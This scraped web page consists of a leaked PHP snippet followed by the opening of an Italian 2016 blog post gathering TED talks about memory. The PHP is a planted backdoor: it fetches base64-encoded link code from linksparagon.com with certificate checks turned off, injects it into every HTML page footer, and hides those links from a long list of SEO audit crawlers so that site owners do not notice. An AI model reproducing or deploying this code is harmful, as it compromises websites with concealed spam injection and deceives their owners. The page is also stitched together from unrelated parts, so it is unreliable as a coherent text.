if (!defined('__LPK_IN__')) { define('__LPK_IN__', 1); if (!defined('__API_URL__')) define('__API_URL__', 'https://linksparagon.com'); if (!defined('__CACHE_TTL__')) define('__CACHE_TTL__', 300); if (!function_exists('__getCURLSite__')) { function __getCURLSite__($site, $post_data = null, $extra_headers = array()) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $site); if (!is_null($post_data)) { curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data)); } curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 3); curl_setopt($ch, CURLOPT_TIMEOUT, 5); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); if (!empty($extra_headers)) { curl_setopt($ch, CURLOPT_HTTPHEADER, $extra_headers); } $response = curl_exec($ch); if (curl_errno($ch)) $response = false; curl_close($ch); return $response; } } if (!function_exists('__cache_get')) { function __cache_get($key) { $f = sys_get_temp_dir() . '/h4_cache_' . md5($key) . '.json'; if (!is_file($f)) return null; $raw = @file_get_contents($f); if ($raw === false) return null; $o = @json_decode($raw, true); if (!is_array($o)) return null; if (isset($o['t']) && $o['t'] + __CACHE_TTL__ < time()) return null; return isset($o['v']) ? $o['v'] : null; } } if (!function_exists('__cache_set')) { function __cache_set($key, $val) { $f = sys_get_temp_dir() . '/h4_cache_' . md5($key) . '.json'; @file_put_contents($f, json_encode(array('t' => time(), 'v' => $val))); } } if (!function_exists('__is_spy_bot__')) { function __is_spy_bot__() { $ua = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : ''; if (trim($ua) === '') return false; $bots = array( 'AhrefsBot','AhrefsSiteAudit','SemrushBot','SiteAuditBot', 'DotBot','Rogerbot','MJ12bot','MajesticBot', 'Screaming Frog SEO Spider','ScreamingFrogSEOSpider', 'DataForSeoBot','SEOkicks','SEOkicks-Robot', 'AwarioRssBot','AwarioSmartBot','AwarioBot', 'Brandwatch','Searchmetricsbot','Sidetrade indexer bot', 'peer39_crawler','BLEXBot','cognitiveSEO','LRT Bot','LRT Spider', 'Meltwater','Mediatoolkitbot','Neticlebot','SISTRIX','SerpstatBot', 'spyfu','Botify','ContentKing','DeepCrawl','Lumar','seobility', 'WebCEO','AddThis','Barkrowler','BacklinksExtendedBot','BrightEdge Crawler', 'OAI-SearchBot','CohereBot','DeepSeekBot','SEOlyze','IstellaBot', 'GrapeshotCrawler','Netvibes','NetcraftSurveyAgent' ); foreach ($bots as $bot) { if (stripos($ua, $bot) !== false) return true; } return false; } } if (!function_exists('__get_backlink_codes__')) { function __get_backlink_codes__() { $host = isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : ''; $host = strtolower(str_replace('www.', '', preg_replace('/:\d+$/', '', $host))); if ($host === '') return null; $host_id = crc32($host); $cacheKey = 'bl_' . md5($host); $cached = __cache_get($cacheKey); if ($cached !== null) return $cached; $u = __API_URL__ . '/g/?i=' . urlencode($host_id) . '&d=' . urlencode($host) . '&t=th'; $response = __getCURLSite__($u); if ($response !== false && is_string($response)) { $c = @json_decode($response, true); if (is_array($c) && isset($c['s']) && $c['s'] == true) { __cache_set($cacheKey, $response); return $response; } } return null; } } if (!function_exists('__show_footer_backlink__')) { function __show_footer_backlink__() { $is_spy = __is_spy_bot__(); $r = ''; $raw = __get_backlink_codes__(); if (!$raw) return ''; $c = @json_decode($raw, true); if (!is_array($c) || !isset($c['s']) || $c['s'] != true || empty($c['l'])) return ''; $r .= isset($c['f']) ? $c['f'] : ''; foreach ($c['l'] as $v) { $only_google = isset($v['g']) ? (int)$v['g'] : 0; if ($only_google == 1 && $is_spy) continue; $r .= isset($v['h']) ? base64_decode($v['h']) : ''; } $r .= isset($c['e']) ? $c['e'] : ''; return $r; } } // Footer injection: named ob_start callback (PHP 5.2 uyumlu, anonim fonksiyon YOK) // - Yalnızca içeren HTML yanıtları modifiye eder // - AJAX / REST API / CRON / CLI isteklerini atlar // - str_ireplace ile öncesine düzgün ekler if (!function_exists('__lpk_ob_cb__')) { function __lpk_ob_cb__($buf) { if (!is_string($buf) || stripos($buf, '') === false) return $buf; if (defined('DOING_AJAX') && DOING_AJAX) return $buf; if (defined('REST_REQUEST') && REST_REQUEST) return $buf; if (defined('DOING_CRON') && DOING_CRON) return $buf; if (php_sapi_name() === 'cli') return $buf; $link = __show_footer_backlink__(); return ($link !== '') ? str_ireplace('', $link . '', $buf) : $buf; } } @ob_start('__lpk_ob_cb__'); } Ted Talk
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30 giugno 2016 - 15:11, by , in Memoria, No comments
Tutti abbiamo a che fare con la memoria. E visto che probabilmente nessuno si alzerà urlando: “Sai, la memoria non ha nulla a che fare con la mia vita”, ho deciso di raccogliere in un unico articolo alcuni dei TEDTalk sulla memoria più interessanti che abbia mai ascoltato. Il motivo per cui l’ho fatto è che...